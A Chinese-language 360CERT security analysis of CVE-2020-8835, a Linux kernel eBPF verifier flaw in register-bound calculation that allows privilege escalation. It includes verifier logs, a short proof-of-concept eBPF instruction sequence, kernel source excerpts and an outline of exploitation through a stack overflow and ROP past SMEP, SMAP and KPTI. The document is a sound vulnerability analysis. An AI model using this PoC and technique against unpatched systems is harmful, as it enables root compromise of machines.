作者:360CERT
原文鏈接:https://mp.weixin.qq.com/s/XteBFMBI_j8R6uateNK_YQ

0x01 漏洞背景

2020年03月31日, 360CERT監測發現 ZDI 在 Pwn2Own 比賽上演示的 Linux 內核權限提升漏洞已經被 CVE 收錄,CVE編號: CVE-2020-8835。

該漏洞由@Manfred Paul發現,漏洞是因為bpf驗證程序沒有正確計算一些特定操作的寄存器范圍,導致寄存器邊界計算不正確,進而引發越界讀取和寫入。該漏洞在Linux Kernelcommit(581738a681b6)中引入。

2020年04月20日,360CERT對該漏洞進行了詳細分析,并完成漏洞利用。

1.1 eBPF介紹

eBPF是extended Berkeley Packet Filter的縮寫。起初是用于捕獲和過濾特定規則的網絡數據包,現在也被用在防火墻,安全,內核調試與性能分析等領域。

eBPF程序的運行過程如下:在用戶空間生產eBPF“字節碼”,然后將“字節碼”加載進內核中的“虛擬機”中,然后進行一些列檢查,通過則能夠在內核中執行這些“字節碼”。類似Java與JVM虛擬機,但是這里的虛擬機是在內核中的。

內核中的eBPF驗證程序

允許用戶代碼在內核中運行存在一定的危險性。因此,在加載每個eBPF程序之前,都要執行許多檢查。

首先確保eBPF程序能正常終止,不包含任何可能導致內核鎖定的循環。這是通過對程序的控制流圖(CFG)進行深度優先搜索來實現的。包含無法訪問的指令的eBPF程序,將無法加載。

第二需要內核驗證器(verifier ),模擬eBPF程序的執行,模擬通過后才能正常加載。在執行每條指令之前和之后,都需要檢查虛擬機狀態,以確保寄存器和堆棧狀態是有效的。禁止越界跳轉,也禁止訪問非法數據。

驗證器不需要遍歷程序中的每條路徑,它足夠聰明,可以知道程序的當前狀態何時是已經檢查過的狀態的子集。由于所有先前的路徑都必須有效(否則程序將無法加載),因此當前路徑也必須有效。 這允許驗證器“修剪”當前分支并跳過其仿真。

其次具有未初始化數據的寄存器無法讀取;這樣做會導致程序加載失敗。

最后,驗證器使用eBPF程序類型來限制可以從eBPF程序中調用哪些內核函數以及可以訪問哪些數據結構。

bpf程序的執行流程如下圖:

0x02 漏洞分析

為了更加精確地規定寄存器的訪問范圍,linux kernel 引入了reg_bound_offset32函數來獲取范圍,在調用jmp32之后執行。 如umax為0x7fffffffvar_off為0xfffffffc,取其并集算出的結果應為0x7ffffffc。 而漏洞點就在于引入的reg_bound_offset32函數,該函數計算的結果并不正確。 如執行以下代碼:

 5: R0_w=inv1 R1_w=inv(id=0) R10=fp0
  5: (18) r2 = 0x4000000000
  7: (18) r3 = 0x2000000000
  9: (18) r4 = 0x400
  11: (18) r5 = 0x200
  13: (2d) if r1 > r2 goto pc+4
   R0_w=inv1 R1_w=inv(id=0,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp0
  14: R0_w=inv1 R1_w=inv(id=0,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp0
  14: (ad) if r1 < r3 goto pc+3
   R0_w=inv1 R1_w=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp0
  15: R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
  15: (2e) if w1 > w4 goto pc+2
   R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
  16: R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
  16: (ae) if w1 < w5 goto pc+1
   R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0

64位下的范圍為:

reg->umin_value = 0x2000000000
reg->umax_value = 0x4000000000
p->var_off.mask = 0x7fffffffff

而在32位下,寄存器的范圍為[0x200, 0x400],正常預期獲得的reg->var_off.mask應為0x7f000007ff,或者不精確時為0x7fffffffff。但通過__reg_bound_offset32函數獲取的結果如下:

reg->umin_value: 0x2000000000
reg->umax_value: 0x4000000000
reg->var_off.value: 0x0
reg->var_off.mask: 0x7f00000000

對于reg->var_off.mask的計算錯誤,有可能造成后續的判斷或計算錯誤,使得bpf在驗證時和實際運行時計算結果不同,最終導致信息泄露和權限提升。

2.1 poc分析

 0: (b7) r0 = 808464432
   1: (7f) r0 >>= r0
   2: (14) w0 -= 808464432
   3: (07) r0 += 808464432
   4: (b7) r1 = 808464432
   5: (de) if w1 s<= w0 goto pc+0
   6: (07) r0 += -2144337872
   7: (14) w0 -= -1607454672
   8: (25) if r0 > 0x30303030 goto pc+0
   9: (76) if w0 s>= 0x303030 goto pc+2
  10: (05) goto pc-1
  11: (05) goto pc-1
  12: (95) exit

在bpf驗證這段程序時,會通過is_branch_taken函數對跳轉進行判斷:

/* compute branch direction of the expression "if (reg opcode val) goto target;"
 * and return:
 *  1 - branch will be taken and "goto target" will be executed
 *  0 - branch will not be taken and fall-through to next insn
 * -1 - unknown. Example: "if (reg < 5)" is unknown when register value range [0,10]
 */
static int is_branch_taken(struct bpf_reg_state *reg, u64 val, u8 opcode,
               bool is_jmp32)

通過調試,可以看到其中對于第9條指令(BPF_JSGE)的跳轉如下:

是通過reg->smin_value和sval進行比較判斷,由于var_off的計算錯誤,間接導致smin_value的結果錯誤,使得BPF_JSGE的跳轉恒成立。 而在實際運行時w0為-53688320為負數,小于0x00303030,所以第9條指令if w0 s>= 0x303030 goto pc+2不跳轉,執行下一條執行,而下一條指令被填充了dead_code(goto pc-1)

綠框表示下一條要執行的指令(rbx寄存器保存著當前執行指令在jumptable數組中的偏移,加0x8表示下一條指令)

而所謂的dead_code其實就是填充下一條指令為BPF_JMP_IMM(BPF_JA, 0, 0, -1)

static void sanitize_dead_code(struct bpf_verifier_env *env)
{
    struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
    struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
    struct bpf_insn *insn = env->prog->insnsi;
    const int insn_cnt = env->prog->len;
    int i;

    for (i = 0; i < insn_cnt; i++) {
        if (aux_data[i].seen)
            continue;
        memcpy(insn + i, &trap, sizeof(trap));
    }
}

造成了死循環。

0x03 漏洞利用

要對該漏洞完成利用,需要考慮計算錯誤的var_off.mask在后續哪些操作中會造成影響,從而導致檢查時和運行時不一致。 我們找到了BPF_AND操作:

kernel/bpf/verifier.c:4937
    case BPF_AND:
        if (src_known && dst_known) {
            __mark_reg_known(dst_reg, dst_reg->var_off.value &
                          src_reg.var_off.value);
            break;
        }
        /* We get our minimum from the var_off, since that's inherently
         * bitwise.  Our maximum is the minimum of the operands' maxima.
         */
        dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);// ****
          ……

實際上的AND操作是在tnum_and中進行:

struct tnum tnum_and(struct tnum a, struct tnum b)
{
    u64 alpha, beta, v;

    alpha = a.value | a.mask;
    beta = b.value | b.mask;
    v = a.value & b.value;
    return TNUM(v, alpha & beta & ~v);
}

該操作前的寄存器狀態為:

$12 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0, 
  ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x7f00000000}, smin_value = 0x2000000000, 
  smax_value = 0x4000000000, umin_value = 0x2000000000, umax_value = 0x4000000000, parent = 0xffff88801f97ab40, 
  frameno = 0x0, subreg_def = 0x0, live = 0x0, precise = 0x1}

tnum_and操作后的狀態為:

$16 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0, 
  ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x0}, smin_value = 0x2000000000, smax_value = 0x4000000000,
  umin_value = 0x0, umax_value = 0xffffffff, parent = 0xffff88801f97ab40, frameno = 0x0, subreg_def = 0x0,
  live = 0x4, precise = 0x1}

tnum_and操作導致var_off.value=0, var_off.mask=0

之后調用 __update_reg_bounds函數時,導致reg->smin_value=0reg->smax_value=0

$48 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0, 
  ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x0}, smin_value = 0x0, smax_value = 0x0, umin_value = 0x0,
  umax_value = 0x0, parent = 0xffff88801f97c340, frameno = 0x0, subreg_def = 0x0, live = 0x4, precise = 0x1}

這里相當于在檢查時寄存器的值為0,而實際運行時寄存器是正常值。 進而繞過檢查,可以對map指針進行加減操作,導致越界讀寫:

 adjust_ptr_min_max_vals():
 case PTR_TO_MAP_VALUE:
                if (!env->allow_ptr_leaks && !known && (smin_val < 0) != (smax_val < 0)) {
                        verbose(env, "R%d has unknown scalar with mixed signed bounds, pointer arithmetic with it prohibited for !root\n",
                                off_reg == dst_reg ? dst : src);
                        return -EACCES;
                }

其實這里的越界讀寫,bpf在執行完do_check后會調用fixup_bpf_calls,檢查加減操作,并做了防止越界的patch:

    if (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||
            insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {
            const u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;
            const u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;
            struct bpf_insn insn_buf[16];
            struct bpf_insn *patch = &insn_buf[0];
            bool issrc, isneg;
            u32 off_reg;

            aux = &env->insn_aux_data[i + delta];
            if (!aux->alu_state ||
                aux->alu_state == BPF_ALU_NON_POINTER)
                continue;

            isneg = aux->alu_state & BPF_ALU_NEG_VALUE;
            issrc = (aux->alu_state & BPF_ALU_SANITIZE) ==
                BPF_ALU_SANITIZE_SRC;

            off_reg = issrc ? insn->src_reg : insn->dst_reg;
            if (isneg)
                *patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);
            *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
            *patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
            *patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
            *patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
            *patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);

上述代碼的效果實際上是添加了以下指令,來對加減的寄存器范圍作了限制,防止越界:

我們可以通過對指針進行不停累加,進而繞過該補丁。但我們在實際編寫利用過程中,有數據的地址離map太遠,累加次數過多,而bpf又限制指令的數量。 所以我們轉而對棧指針進行越界讀寫,發現可以做到棧溢出。之后覆蓋返回地址即可,但需要通過rop技術繞過smep、smap和kpti保護機制。

漏洞利用提權成功效果圖:

0x04 時間線

2020-03-19 ZDI 展示該漏洞攻擊成果

2020-03-30 CVE 收錄該漏洞

2020-03-31 360CERT發布預警

2020-04-21 360CERT完成漏洞利用并發布漏洞分析報告

0x05 參考鏈接

  1. https://www.thezdi.com/blog/2020/3/19/pwn2own-2020-day-one-results

  2. https://security-tracker.debian.org/tracker/CVE-2020-8835

  3. https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-8835.html

  4. https://lore.kernel.org/bpf/20200330160324.15259-1-daniel@iogearbox.net/T/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1185/